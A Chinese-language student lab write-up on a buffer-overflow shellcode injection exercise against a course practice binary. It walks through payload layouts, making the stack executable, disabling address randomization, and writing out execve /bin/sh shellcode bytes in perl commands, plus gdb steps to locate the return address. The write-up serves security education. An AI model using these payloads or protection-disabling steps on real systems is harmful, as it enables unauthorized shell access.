zoukankan      html  css  js  c++  java
  • 20155305《网络对抗》PC平台逆向破解(二)

    20155305《网络对抗》PC平台逆向破解(二)

    shellcode注入

    1、shellcode

    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

    2、构造方法

    (1)nop+shellcode+retaddr(适用于缓冲区大的情况)

    (2)retaddr+nop+shellcode(适用于缓冲区小的情况)
    3、准备工作(安装execstack并修改设置)

    • 安装execstackapt-get install execstack
    • 设置堆栈可执行execstack -s pwn20155305
    • 查询文件的堆栈是否可执行execstack -q pwn20155305
    • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    • 查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化more /proc/sys/kernel/randomize_va_space

    4、运行并gdb调试

    • 输入shellcode内容perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode运行pwn20155305,输入命令(cat input_shellcode;cat) | ./pwn20155305

    • 查询进程输入命令ps -ef | grep pwn20155305

    • 启动gdb调试这个进程

    • 通过设置断点disassemble foo,来查看注入buf的内存地址并且 break *0x080484ae,在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。gdb中输入c,之后输入info r esp

    • (gdb) x/16x 0xffffd43c 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

    • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

  • 相关阅读:
    Two strings CodeForces
    Dasha and Photos CodeForces
    Largest Beautiful Number CodeForces
    Timetable CodeForces
    Financiers Game CodeForces
    AC日记——整理药名 openjudge 1.7 15
    AC日记——大小写字母互换 openjudge 1.7 14
    AC日记——将字符串中的小写字母换成大写字母 openjudge 1.7 13
    AC日记——加密的病历单 openjudge 1.7 12
    AC日记——潜伏着 openjudge 1.7 11
  • 原文地址:https://www.cnblogs.com/20155305ql/p/8563661.html
Copyright © 2011-2022 走看看